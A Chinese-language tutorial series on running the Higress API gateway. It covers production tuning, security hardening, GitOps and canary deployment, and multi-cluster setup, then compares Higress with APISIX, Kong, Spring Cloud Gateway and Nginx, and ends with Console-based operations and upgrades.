控制面（Controller）故障不影响已下发的数据面配置（Envoy 会缓存最后的 xDS），但影响配置变更。同样要多副本：

# helm values
global:
  replicas: 3                    # Controller 副本数
  priorityClassName: system-cluster-critical

二、性能调优

2.1 Envoy 并发与连接

apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    concurrency: 0               # 0 = 自动等于 CPU 核数
    # 每个 worker 独立处理连接，避免锁竞争

# 上游连接池（针对后端服务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 上游 keepalive 连接池
    higress.io/upstream-keepalive-connections: "256"
    higress.io/upstream-keepalive-time: "60s"
    # 单连接最大请求数（防止连接老化）
    higress.io/upstream-keepalive-requests: "1000"
    # 连接/请求超时
    higress.io/connect-timeout: "5s"
    higress.io/request-timeout: "30s"

2.2 下游（客户端）连接优化

# Gateway 监听器优化
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-gateway-tuning
  namespace: higress-system
data:
  # 开启 HTTP/2、HTTP/3(QUIC)
  enable-http2: "true"
  enable-http3: "false"          # 按需开启
  # 空闲连接超时
  downstream-idle-timeout: "180s"
  # 最大请求头大小
  max-request-headers-kb: "60"
  # 每连接最大请求数（0 = 无限）
  max-requests-per-connection: "0"

2.3 内核参数（节点级）

高并发场景，节点内核参数是瓶颈。用 DaemonSet 或节点初始化脚本调整：

# /etc/sysctl.d/99-higress.conf
cat <<EOF | sudo tee /etc/sysctl.d/99-higress.conf
# 文件描述符
fs.file-max = 2097152
fs.nr_open = 2097152

# TCP 连接队列
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535

# TIME_WAIT 复用与回收
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 15

# 端口范围
net.ipv4.ip_local_port_range = 1024 65535

# 连接跟踪（如启用 conntrack）
net.netfilter.nf_conntrack_max = 1048576
net.netfilter.nf_conntrack_tcp_timeout_established = 3600

# 内存
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
EOF

sudo sysctl --system

# 进程级文件描述符（systemd 或容器 securityContext）
ulimit -n 1048576

2.4 性能调优优先级

1. 副本数 & HPA        → 最直接，横向扩展
2. 资源 requests/limits → 避免 CPU 节流（throttling）
3. 上游连接池 keepalive → 减少握手开销（收益大）
4. 内核参数            → 高并发下的天花板
5. Wasm 插件精简       → 每个插件都有开销，按需启用
6. 日志采样            → 高 QPS 下全量日志很贵

[!WARNING] CPU limits 陷阱：给 Envoy 设置过低的 CPU limit 会触发内核 CFS 节流，P99 延迟飙升。网关这类延迟敏感组件，建议只设 requests 不设 CPU limit（或 limit 设为节点可突发上限），内存 limit 必须设（防 OOM 拖垮节点）。

三、安全加固

3.1 分层安全模型

┌─────────────────────────────────────────┐
│  边缘层：TLS 终止、WAF、DDoS、IP 黑名单  │
├─────────────────────────────────────────┤
│  认证层：JWT / OAuth2 / mTLS / API Key   │
├─────────────────────────────────────────┤
│  授权层：RBAC、Consumer 权限、路由级策略 │
├─────────────────────────────────────────┤
│  传输层：东西向 mTLS、加密               │
├─────────────────────────────────────────┤
│  数据层：敏感信息脱敏、日志审计          │
└─────────────────────────────────────────┘

3.2 Secret 管理

绝不把密钥硬编码在 Ingress annotation 或 WasmPlugin config 里。

# ❌ 反例：明文写在 annotation
metadata:
  annotations:
    higress.io/request-header-authorization: "Bearer sk-1234567890abcdef"

# ✅ 正例：引用 K8s Secret
apiVersion: v1
kind: Secret
metadata:
  name: llm-api-key
  namespace: higress-system
type: Opaque
stringData:
  api-key: sk-xxxx          # 生产用 External Secrets / Vault 注入
---
# 通过 Wasm 插件从 Secret 读取

# 使用 External Secrets Operator 从 Vault/AWS SM 同步
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: llm-api-key
  namespace: higress-system
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: vault-backend
    kind: ClusterSecretStore
  target:
    name: llm-api-key
  data:
    - secretKey: api-key
      remoteRef:
        key: secret/llm/openai
        property: api-key

3.3 RBAC 最小权限

# 限制谁能修改 Higress CRD
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: higress-route-editor
  namespace: default
rules:
  - apiGroups: ["networking.k8s.io"]
    resources: ["ingresses"]
    verbs: ["get", "list", "watch", "create", "update"]
  # 注意：不给 delete，防误删；不给 WasmPlugin（更高权限单独授予）
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: dev-team-route-editor
  namespace: default
subjects:
  - kind: Group
    name: dev-team
    apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: higress-route-editor
  apiGroup: rbac.authorization.k8s.io

3.4 网络策略

# 只允许 Gateway 访问后端服务，限制东西向流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-gateway-only
  namespace: production
spec:
  podSelector:
    matchLabels:
      tier: backend
  policyTypes:
    - Ingress
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: higress-system
          podSelector:
            matchLabels:
              app: higress-gateway
      ports:
        - protocol: TCP
          port: 8080

3.5 安全加固清单

项	措施
TLS	强制 HTTPS、TLS 1.2+、禁用弱密码套件、HSTS
证书	cert-manager 自动签发续期，避免过期
镜像	私有 Registry + 镜像签名（cosign）+ 漏洞扫描（Trivy）
Secret	External Secrets / Vault，禁止明文入 Git
RBAC	最小权限，CRD 修改权限收敛
WAF	开启 WAF 插件，防 SQL 注入 / XSS
管理面	Console 不暴露公网，走内网 + VPN + SSO
审计	开启操作审计日志，谁改了配置可追溯
mTLS	东西向流量 mTLS 加密

四、CI/CD 与 GitOps

4.1 配置即代码（GitOps）

所有 Higress CRD（Ingress/WasmPlugin/McpBridge）纳入 Git，用 ArgoCD/Flux 自动同步。禁止生产环境手动 kubectl apply。

Git 仓库（唯一事实来源）
├── base/                      # 基础配置
│   ├── mcpbridge.yaml
│   └── wasmplugin-jwt.yaml
├── overlays/
│   ├── staging/               # 预发环境
│   │   ├── kustomization.yaml
│   │   └── ingress-patch.yaml
│   └── production/            # 生产环境
│       ├── kustomization.yaml
│       └── ingress-patch.yaml
└── argocd/
    └── application.yaml

# ArgoCD Application
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: higress-production
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/example/higress-config.git
    targetRevision: main
    path: overlays/production
  destination:
    server: https://kubernetes.default.svc
    namespace: higress-system
  syncPolicy:
    automated:
      prune: true              # 自动删除 Git 中移除的资源
      selfHeal: true           # 自动修复漂移
    syncOptions:
      - CreateNamespace=true
    retry:
      limit: 5
      backoff:
        duration: 5s
        factor: 2
        maxDuration: 3m

4.2 Wasm 插件 CI/CD

# .github/workflows/wasm-plugin.yaml
name: Build & Push Wasm Plugin
on:
  push:
    tags: ['v*']
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Go
        uses: actions/setup-go@v5
        with:
          go-version: '1.24'

      - name: Unit Test
        run: go test ./...

      - name: Build Wasm
        env:
          GOOS: wasip1
          GOARCH: wasm
        run: go build -buildmode=c-shared -o plugin.wasm ./main.go

      - name: Login Registry
        run: oras login registry.example.com -u ${{ secrets.REG_USER }} -p ${{ secrets.REG_PASS }}

      - name: Push OCI Artifact
        run: |
          oras push registry.example.com/plugins/my-plugin:${{ github.ref_name }} \
            --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
            plugin.wasm:application/vnd.module.wasm.content.layer.v1+wasm

      - name: Update GitOps Repo（触发部署）
        run: |
          # 用 sed 更新 overlays/production 中的镜像 tag，提 PR
          echo "更新镜像 tag 到 ${{ github.ref_name }}"

4.3 灰度发布流水线

代码合并 → 构建 Wasm → 推送 OCI
                          ↓
              部署到 staging（自动）
                          ↓
              自动化测试 + 冒烟
                          ↓
        ┌─────────────────┴─────────────────┐
        │  灰度：5% → 20% → 50% → 100%       │
        │  每步观察 Metrics（错误率/延迟）    │
        │  异常自动回滚                        │
        └─────────────────────────────────────┘

# 用 Argo Rollouts 做金丝雀
apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
  name: my-service
spec:
  strategy:
    canary:
      steps:
        - setWeight: 5
        - pause: { duration: 5m }
        - analysis:              # 自动分析错误率
            templates:
              - templateName: success-rate
        - setWeight: 20
        - pause: { duration: 5m }
        - setWeight: 50
        - pause: { duration: 10m }

五、多集群管理

5.1 多集群部署模式

模式 A：每集群独立 Higress（推荐）
┌──────────────┐   ┌──────────────┐
│  Cluster 1   │   │  Cluster 2   │
│  Higress     │   │  Higress     │
│  + 业务服务  │   │  + 业务服务  │
└──────┬───────┘   └──────┬───────┘
       │                  │
       └───────┬──────────┘
               │
        全局负载均衡（DNS/GSLB/L4 LB）

优点：故障隔离、就近访问、独立扩缩容

5.2 配置统一分发

多集群最大痛点是配置一致性。用 GitOps 统一管理：

Git 仓库（单一事实来源）
        ↓
   ArgoCD ApplicationSet（一键部署到 N 个集群）
        ↓
┌───────────┬───────────┬───────────┐
│ Cluster 1 │ Cluster 2 │ Cluster 3 │
│ Higress   │ Higress   │ Higress   │
└───────────┴───────────┴───────────┘

# ArgoCD ApplicationSet：一套配置分发到所有集群
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: higress-multi-cluster
  namespace: argocd
spec:
  generators:
    - clusters: {}               # 匹配所有已注册集群
  template:
    metadata:
      name: 'higress-{{name}}'
    spec:
      source:
        repoURL: https://github.com/example/higress-config.git
        targetRevision: main
        path: overlays/production
      destination:
        server: '{{server}}'
        namespace: higress-system
      syncPolicy:
        automated:
          prune: true
          selfHeal: true

5.3 跨集群服务发现

# 集群 A 的 Higress 通过 DNS/McpBridge 访问集群 B 的服务
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: cross-cluster
  namespace: higress-system
spec:
  registries:
    - name: cluster-b-svc
      type: dns
      domain: svc-b.cluster-b.example.com   # 集群 B 的服务暴露地址
      port: 8080

六、容量规划与压测

6.1 压测基线

上线前必须压测，建立容量基线：

# wrk 压测示例
wrk -t12 -c400 -d300s \
  -H "Host: api.example.com" \
  --latency \
  http://<gateway-ip>/api/health

# 关注指标：
# - QPS（吞吐）
# - P50/P99/P999 延迟
# - 错误率
# - Gateway CPU/内存
# - 上游连接数

6.2 容量估算参考

单副本规格	简单路由 QPS	带 3 个插件 QPS	建议并发连接
1C2G	~15,000	~10,000	~5,000
2C4G	~30,000	~20,000	~15,000
4C8G	~55,000	~38,000	~40,000

数据仅供参考，实际取决于插件复杂度、Body 大小、上游延迟。务必以自己的压测为准。

6.3 资源规划公式

副本数 = ceil(峰值QPS / 单副本QPS × 冗余系数)
冗余系数建议 1.5~2（留缓冲应对突发 + 滚动更新）

示例：
峰值 100,000 QPS，单副本（2C4G）30,000 QPS
副本数 = ceil(100000 / 30000 × 1.5) = ceil(5) = 5 副本
再加跨 AZ 冗余 → 6 副本（每 AZ 3 个）

七、故障演练与 Runbook

7.1 常见故障 Runbook

故障	现象	应急处理	根因排查
Gateway 全挂	5xx 暴增	扩容/重启副本、切备用入口	看 Pod 事件、OOM、探针
配置错误	路由 404/502	GitOps 回滚到上个版本	`kubectl describe ingress`
上游雪崩	延迟飙升、连接堆积	触发熔断、降级	上游健康检查、连接池
Wasm 插件崩溃	特定路由 5xx	禁用该插件	看插件日志、回滚镜像
证书过期	TLS 握手失败	手动更新证书	cert-manager 状态
etcd 压力	配置下发慢	减少 CRD 变更频率	etcd 监控、Controller 日志

7.2 快速回滚

# 1. 配置回滚（GitOps）
git revert <commit>            # 回退配置提交
git push                       # ArgoCD 自动同步

# 2. Helm 回滚（版本升级出问题）
helm rollback higress <REVISION> -n higress-system

# 3. Wasm 插件回滚
kubectl patch wasmplugin my-plugin -n higress-system \
  --type merge -p '{"spec":{"url":"oci://registry/plugins/my-plugin:v1.2.3"}}'

# 4. 紧急禁用插件
kubectl delete wasmplugin my-plugin -n higress-system

7.3 Chaos 演练

# Chaos Mesh：模拟 Gateway Pod 故障
apiVersion: chaos-mesh.org/v1alpha1
kind: PodChaos
metadata:
  name: kill-higress-gateway
spec:
  action: pod-kill
  mode: one                      # 每次杀一个，验证 HA
  selector:
    namespaces: [higress-system]
    labelSelectors:
      app: higress-gateway
  scheduler:
    cron: '@every 2m'

演练目标：验证副本被杀时流量无损（PDB + 多副本 + 探针 + 优雅下线）。

常见问题 Q&A

Q1：生产环境最少几个 Gateway 副本？ A：至少 3 个，且跨节点/跨可用区。配合 PDB（minAvailable: 2）和 HPA。单副本无法容忍节点故障和滚动更新。

Q2：控制面（Controller）挂了，流量会断吗？ A：不会。Envoy 会缓存最后下发的 xDS 配置，控制面短时故障不影响已有流量转发，只是无法变更配置。这也是控制面/数据面分离的优势。

Q3：CPU limit 到底要不要设？ A：网关这类延迟敏感组件，建议不设 CPU limit（或设很高），只设 requests。CPU limit 过低会触发 CFS 节流，P99 延迟暴涨。内存 limit 必须设，防 OOM。

Q4：怎么做配置备份？ A：GitOps 是天然备份（所有配置在 Git）。额外定期导出：kubectl get ingress,wasmplugin,mcpbridge -A -o yaml > backup-$(date +%F).yaml，etcd 也要做快照。

Q5：多集群配置怎么保证一致？ A：单一 Git 仓库 + ArgoCD ApplicationSet 分发到所有集群，开启 selfHeal 自动修复漂移。禁止手动改单个集群。

Q6：Wasm 插件拖慢网关怎么办？ A：① 精简插件数量，按需启用；② 插件内避免重计算和频繁内存分配；③ 用路由级/域名级作用域，别全局启用；④ 压测对比开关插件前后的 QPS/延迟。

Q7：如何实现零停机发布？ A：滚动更新（maxUnavailable: 0）+ 就绪探针 + 优雅下线（preStop 钩子等待连接排空）+ PDB。前端有 L4 LB 时确保健康检查及时摘除旧副本。

# 优雅下线
lifecycle:
  preStop:
    exec:
      command: ["sh", "-c", "sleep 15"]   # 等待 LB 摘除 + 连接排空
terminationGracePeriodSeconds: 30

复习卡片

[!TIP] 生产最佳实践速记

高可用：Gateway ≥3 副本、跨 AZ、PDB、HPA、滚动更新 maxUnavailable=0

性能：横向扩容优先 → 连接池 keepalive → 内核参数；CPU 不设 limit 防节流

安全：Secret 用 Vault/External Secrets、RBAC 最小权限、mTLS、镜像扫描、Console 不暴露公网

CI/CD：GitOps（ArgoCD/Flux）单一事实来源、selfHeal、禁止手动 kubectl

发布：金丝雀 5%→20%→50%→100%、自动分析、异常回滚

多集群：每集群独立 Higress + ApplicationSet 统一分发 + GSLB

容量：先压测建基线，副本数 = 峰值QPS / 单副本QPS × 1.5~2

演练：Chaos 杀 Pod 验证无损、备好 Runbook 和快速回滚

[!NOTE] 🎉 恭喜你完成 Higress 学习路线全部 15 篇！

回顾整个学习路径：

基础篇（01-02）：环境搭建、核心概念

网关功能篇（03-07）：路由、服务发现、流量治理、安全、可观测

Wasm 插件篇（08-10）：Wasm 基础、Go 开发、实战

高级篇（11-14）：AI 网关、Console 运维、选型对比、生产实践

下一步建议：① 在真实项目落地一个完整网关；② 深入 Envoy 源码理解数据面；③ 关注 Higress 社区动态和 AI 网关演进；④ 考取云原生相关认证（CKA/CKAD）。

返回 Higress 学习路线总览 | 合集页

网关选型对比：Higress vs APISIX vs Kong vs SCG vs Nginx

Thu, 17 Sep 2026 08:30:00 GMT

[!NOTE] 网关选型是架构决策的关键一环。本文从 8 个维度横向对比 5 款主流网关，帮助你根据实际场景做出选择。

对比概览

维度	Higress	APISIX	Kong	Spring Cloud Gateway	Nginx
内核	Envoy (C++)	Nginx + LuaJIT	Nginx + LuaJIT	Java (Netty)	Nginx (C)
开源方	阿里云	Apache 基金会	Kong Inc.	Spring 官方	F5
首次发布	2022	2019	2015	2018	2004
License	Apache 2.0	Apache 2.0	Apache 2.0（OSS）/ 商业	Apache 2.0	BSD-like
云原生	✅ K8s 原生	✅ K8s Ingress	✅ K8s Ingress	⚠️ 需适配	❌ 传统
动态配置	✅ xDS（秒级）	✅ etcd（秒级）	✅ DB-less / PostgreSQL	⚠️ 需重启	⚠️ reload
扩展语言	Wasm (Go/Rust)	Lua	Lua / Go / JS	Java	C / Lua
性能	⭐⭐⭐⭐⭐	⭐⭐⭐⭐⭐	⭐⭐⭐⭐	⭐⭐⭐	⭐⭐⭐⭐⭐

架构对比

Higress

┌─────────────────────────────────────┐
│  Higress Controller（控制面）        │
│  - 监听 K8s CRD                     │
│  - 转换为 Envoy xDS 配置            │
│  - 基于 Istio Pilot                 │
└──────────────┬──────────────────────┘
               │ xDS（gRPC）
               ▼
┌─────────────────────────────────────┐
│  Higress Gateway（数据面）           │
│  - Envoy Proxy                      │
│  - Wasm 插件沙箱                    │
│  - 动态配置热加载                   │
└─────────────────────────────────────┘

特点：
- 控制面/数据面分离
- 基于 Envoy（C++，高性能）
- Wasm 扩展（多语言，沙箱隔离）
- K8s 原生（CRD 配置）

APISIX

┌─────────────────────────────────────┐
│  APISIX Dashboard（可选）            │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  etcd（配置中心）                    │
│  - 存储路由、服务、插件配置          │
│  - Watch 机制实时推送               │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  APISIX（数据面）                    │
│  - Nginx + LuaJIT                   │
│  - 插件热加载                       │
│  - 多协议代理（HTTP/TCP/UDP/MQTT）  │
└─────────────────────────────────────┘

特点：
- 依赖 etcd（配置存储 + 服务发现）
- Nginx + LuaJIT（性能极高）
- 插件热加载（无需重启）
- 多协议支持（HTTP/gRPC/TCP/UDP/MQTT）

Kong

┌─────────────────────────────────────┐
│  Kong Manager（企业版）              │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  数据库（PostgreSQL / Cassandra）    │
│  或 DB-less 模式（YAML 配置）        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Kong Gateway（数据面）              │
│  - Nginx + LuaJIT                   │
│  - 插件系统（Lua/Go/JS）            │
│  - 多协议支持                       │
└─────────────────────────────────────┘

特点：
- 传统数据库依赖（PostgreSQL/Cassandra）
- DB-less 模式（声明式配置）
- 插件生态丰富（官方 + 社区）
- 企业版功能强大（RBAC/审计/开发者门户）

Spring Cloud Gateway

┌─────────────────────────────────────┐
│  Spring Cloud Config / Nacos        │
│  （配置中心）                        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Spring Cloud Gateway（Java）        │
│  - 基于 Netty（异步非阻塞）          │
│  - Spring WebFlux（响应式）          │
│  - Filter 链（Java 扩展）            │
│  - 集成 Spring 生态                  │
└─────────────────────────────────────┘

特点：
- Java 生态（Spring Boot/Cloud）
- 基于 Netty（异步非阻塞）
- Filter 扩展（Java 代码）
- 与 Spring 生态无缝集成（Eureka/Hystrix/Sleuth）

Nginx

┌─────────────────────────────────────┐
│  nginx.conf（静态配置）              │
└──────────────┬──────────────────────┘
               │ reload（SIGHUP）
               ▼
┌─────────────────────────────────────┐
│  Nginx（C）                          │
│  - Master-Worker 进程模型            │
│  - 事件驱动（epoll/kqueue）          │
│  - 模块扩展（C/Lua）                 │
│  - 反向代理 / 负载均衡 / 静态服务    │
└─────────────────────────────────────┘

特点：
- 静态配置（reload 生效）
- C 语言（极致性能）
- 模块扩展（需重编译或 Lua）
- 功能简单（需第三方模块补充）

功能对比

路由能力

功能	Higress	APISIX	Kong	SCG	Nginx
域名路由	✅	✅	✅	✅	✅
路径路由	✅	✅	✅	✅	✅
Header 路由	✅	✅	✅	✅	⚠️ 需 Lua
Query 路由	✅	✅	✅	✅	⚠️ 需 Lua
权重路由	✅	✅	✅	✅	✅
正则路由	✅	✅	✅	✅	✅
gRPC 代理	✅	✅	✅	✅	✅
WebSocket	✅	✅	✅	✅	✅
TCP/UDP 代理	✅	✅	✅	❌	✅

流量治理

功能	Higress	APISIX	Kong	SCG	Nginx
限流	✅	✅	✅	✅	⚠️ 需模块
熔断	✅	✅	✅	✅	❌
重试	✅	✅	✅	✅	⚠️ 有限
超时	✅	✅	✅	✅	✅
灰度发布	✅	✅	✅	✅	⚠️ 需配置
蓝绿部署	✅	✅	✅	✅	⚠️ 需配置
流量镜像	✅	✅	✅	❌	⚠️ 需模块

安全认证

功能	Higress	APISIX	Kong	SCG	Nginx
JWT	✅	✅	✅	✅	⚠️ 需模块
OAuth2	✅	✅	✅	✅	⚠️ 需模块
API Key	✅	✅	✅	✅	⚠️ 需配置
CORS	✅	✅	✅	✅	⚠️ 需配置
WAF	✅	✅	✅	⚠️ 需集成	⚠️ 需 ModSecurity
mTLS	✅	✅	✅	✅	✅
IP 黑白名单	✅	✅	✅	✅	✅

可观测性

功能	Higress	APISIX	Kong	SCG	Nginx
Metrics	✅ Prometheus	✅ Prometheus	✅ Prometheus	✅ Micrometer	⚠️ 需模块
Tracing	✅ Jaeger/SkyWalking	✅ Jaeger/Zipkin	✅ Jaeger/Zipkin	✅ Sleuth	⚠️ 需模块
访问日志	✅ JSON	✅ JSON	✅ JSON	✅ Logback	✅ 文本
健康检查	✅	✅	✅	✅	✅

扩展能力

功能	Higress	APISIX	Kong	SCG	Nginx
扩展语言	Wasm (Go/Rust/AssemblyScript)	Lua	Lua / Go / JS	Java	C / Lua
热更新	✅ 不停机	✅ 不停机	✅ 不停机	❌ 需重启	⚠️ reload
沙箱隔离	✅ 强隔离	⚠️ 弱隔离	⚠️ 弱隔离	❌ 无隔离	❌ 无隔离
插件市场	✅	✅	✅	❌	❌
自定义插件难度	⭐⭐⭐（Go 友好）	⭐⭐（Lua 简单）	⭐⭐（Lua 简单）	⭐（Java 最易）	⭐⭐⭐⭐（C 难）

性能对比

基准测试（QPS，简单路由）

网关	QPS	P99 延迟	内存占用	CPU 占用
Nginx	~120,000	~2ms	~50MB	~30%
APISIX	~110,000	~3ms	~100MB	~40%
Higress	~100,000	~3ms	~150MB	~45%
Kong	~80,000	~5ms	~200MB	~50%
SCG	~30,000	~15ms	~500MB	~60%

测试环境：4C8G，1000 并发，简单路由（无插件）实际性能取决于配置复杂度、插件数量、上游延迟

性能分析

Nginx/APISIX/Higress：
- C/C++ 内核，事件驱动，零拷贝
- 单进程可处理数万连接
- 内存占用低

Kong：
- Nginx + LuaJIT，性能接近原生
- Lua 插件有额外开销
- 数据库依赖（DB-less 模式更快）

SCG：
- Java（Netty），JVM 开销
- 异步非阻塞，但 GC 影响延迟
- 内存占用高（JVM 堆）

生态对比

社区活跃度

项目	GitHub Stars	Contributors	社区规模	商业支持
Higress	~5k	~100	增长中	阿里云
APISIX	~15k	~500	活跃	API7.ai
Kong	~40k	~300	成熟	Kong Inc.
SCG	Spring 生态	-	庞大	VMware
Nginx	-	-	最成熟	F5

插件生态

项目	官方插件	社区插件	插件语言
Higress	~30	增长中	Wasm (Go/Rust)
APISIX	~80	~20	Lua
Kong	~50（OSS）/ ~100（企业）	~30	Lua / Go / JS
SCG	Spring 生态	-	Java
Nginx	核心模块	第三方模块	C / Lua

运维对比

部署复杂度

项目	最小部署	生产部署	依赖组件
Higress	K8s + Helm	K8s 集群	K8s
APISIX	Docker / K8s	K8s + etcd	etcd
Kong	Docker / K8s	K8s + PostgreSQL	PostgreSQL（或 DB-less）
SCG	Spring Boot App	K8s / VM	JVM
Nginx	二进制 / Docker	LB + 多实例	无

配置管理

项目	配置方式	动态生效	配置存储
Higress	K8s CRD	✅ 秒级	etcd（K8s）
APISIX	Admin API / YAML	✅ 秒级	etcd
Kong	Admin API / YAML	✅ 秒级	PostgreSQL / 内存
SCG	YAML / Java Config	❌ 需重启	文件 / 配置中心
Nginx	nginx.conf	⚠️ reload	文件

学习曲线

项目	入门难度	精通难度	适合人群
Higress	⭐⭐⭐	⭐⭐⭐⭐	K8s 用户、Go 开发者
APISIX	⭐⭐	⭐⭐⭐	运维、后端开发
Kong	⭐⭐	⭐⭐⭐	运维、后端开发
SCG	⭐（Java 开发者）	⭐⭐⭐	Spring 生态用户
Nginx	⭐⭐	⭐⭐⭐⭐⭐	运维、网络工程师

选型建议

按场景选择

场景	推荐网关	理由
K8s 云原生	Higress / APISIX	K8s 原生，CRD 配置，动态生效
Spring Cloud 生态	Spring Cloud Gateway	与 Spring 生态无缝集成
多协议代理	APISIX	HTTP/gRPC/TCP/UDP/MQTT 全支持
企业级功能	Kong（企业版）	RBAC/审计/开发者门户/商业支持
极致性能	Nginx / APISIX	C/LuaJIT 内核，性能最高
Wasm 插件开发	Higress	多语言（Go/Rust），沙箱隔离
AI 网关	Higress	Token 限流、Prompt 改写、多模型路由
传统架构	Nginx	简单、稳定、成熟
快速上手	APISIX / Kong	文档丰富，社区活跃

按团队技术栈

团队技术栈	推荐网关
Java / Spring	Spring Cloud Gateway
Go	Higress（Wasm 插件用 Go）
Lua	APISIX / Kong
Rust	Higress（Wasm 插件用 Rust）
运维为主	Nginx / APISIX
K8s 原生	Higress / APISIX

迁移路径

Nginx → APISIX / Higress
- 配置相似（Nginx 语法）
- 插件扩展（Lua → Wasm）
- 动态配置（reload → 热更新）

Spring Cloud Gateway → Higress
- 路由配置迁移（YAML → CRD）
- Filter 迁移（Java → Wasm）
- 服务发现迁移（Eureka → K8s/Nacos）

Kong → Higress
- 插件迁移（Lua → Wasm）
- 配置迁移（Admin API → CRD）
- 数据库移除（PostgreSQL → etcd）

复习卡片

[!TIP] 快速复习清单

内核对比：Higress（Envoy C++）、APISIX/Kong（Nginx + LuaJIT）、SCG（Java Netty）、Nginx（C）

性能排序：Nginx ≈ APISIX ≈ Higress > Kong > SCG

扩展方式：Higress（Wasm 多语言）、APISIX/Kong（Lua）、SCG（Java）、Nginx（C/Lua）

云原生：Higress/APISIX（K8s 原生）、Kong（K8s Ingress）、SCG（需适配）、Nginx（传统）

动态配置：Higress/APISIX/Kong（秒级热更新）、SCG（需重启）、Nginx（reload）

选型关键：技术栈（Java/Go/Lua）、场景（K8s/AI/多协议）、团队能力、生态需求

AI 网关：Higress 领先（Token 限流、Prompt 改写、多模型路由）

企业级：Kong 企业版功能最全（RBAC/审计/开发者门户）

[!TIP] 下一篇：生产最佳实践将讲解高可用部署、性能调优、安全加固、CI/CD、多集群管理等生产级实践。

返回 Higress 学习路线总览 | 合集页

Higress Console 与运维

Thu, 17 Sep 2026 08:00:00 GMT

[!NOTE] Higress Console 是官方提供的 Web 管理界面，覆盖路由、服务、插件、监控等全功能配置。本文讲解 Console 使用和日常运维操作。

Higress Console 概览

访问方式

# K8s 部署：port-forward
kubectl port-forward svc/higress-console 8001:8001 -n higress-system
open http://localhost:8001

# 生产环境：通过 Ingress 暴露
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: higress-console
  namespace: higress-system
spec:
  ingressClassName: higress
  rules:
    - host: console.higress.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: higress-console
                port:
                  number: 8001

# 默认账号：admin / admin（首次登录强制修改）

功能模块

模块	功能	对应 CRD
概览	网关状态、QPS、延迟、错误率	-
路由管理	域名、路径、Header 路由规则	Ingress / HTTPRoute
服务来源	服务发现配置	McpBridge
插件市场	Wasm 插件浏览、安装、配置	WasmPlugin
策略配置	限流、熔断、重试、超时、CORS	Ingress Annotations
监控告警	Prometheus/Grafana 集成	ConfigMap
系统设置	用户管理、权限、全局配置	-

路由管理

创建路由（Console UI）

1. 登录 Console → 路由管理 → 创建路由
2. 填写基本信息：
   - 路由名称：api-route
   - 域名：api.example.com
   - 路径：/api/*
   - 路径类型：Prefix
3. 配置后端服务：
   - 服务来源：K8s Service
   - 服务名称：api-service
   - 端口：8080
4. 高级配置（可选）：
   - 超时：30s
   - 重试：3 次
   - 限流：1000 QPS
5. 保存 → 测试

等价 YAML

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  namespace: default
  annotations:
    higress.io/request-timeout: "30s"
    higress.io/retry-count: "3"
    higress.io/limit-rps: "1000"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

服务来源管理

添加 Nacos 服务来源

1. Console → 服务来源 → 创建服务来源
2. 填写：
   - 名称：nacos-prod
   - 类型：Nacos
   - 服务器地址：nacos.nacos.svc.cluster.local:8848
   - 命名空间：prod
   - 分组：DEFAULT_GROUP
   - 用户名/密码：nacos/nacos
3. 保存 → 验证连接

等价 YAML

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: nacos-prod
  namespace: higress-system
spec:
  registries:
    - name: nacos-prod
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosNamespaceId: prod
      nacosGroups: [DEFAULT_GROUP]
      nacosUsername: nacos
      nacosPassword: nacos

插件管理

安装插件

1. Console → 插件市场 → 浏览可用插件
2. 选择插件（如：jwt-auth）→ 点击安装
3. 填写配置：
   - 镜像地址：oci://registry.example.com/plugins/jwt-auth:v1
   - 执行阶段：AUTHN
   - 优先级：1000
   - 插件配置（JSON）：
     {
       "issuer": "https://auth.example.com",
       "jwks_uri": "https://auth.example.com/.well-known/jwks.json"
     }
4. 选择生效范围：
   - 全局
   - 指定域名
   - 指定路由
5. 保存 → 验证插件状态

查看插件日志

# Console 中查看
插件管理 → 选择插件 → 日志标签页

# 命令行查看
kubectl logs -n higress-system deploy/higress-gateway | grep jwt-auth

版本升级

Helm 升级

# 1. 查看当前版本
helm list -n higress-system

# 2. 备份配置（重要！）
kubectl get ingress,wasmplugin,mcpbridge -A -o yaml > higress-backup.yaml

# 3. 查看可用版本
helm search repo higress --versions

# 4. 升级（滚动更新）
helm upgrade higress higress/higress \
  -n higress-system \
  --version 2.x.x \
  --reuse-values

# 5. 验证升级
kubectl get pods -n higress-system
kubectl rollout status deploy/higress-gateway -n higress-system

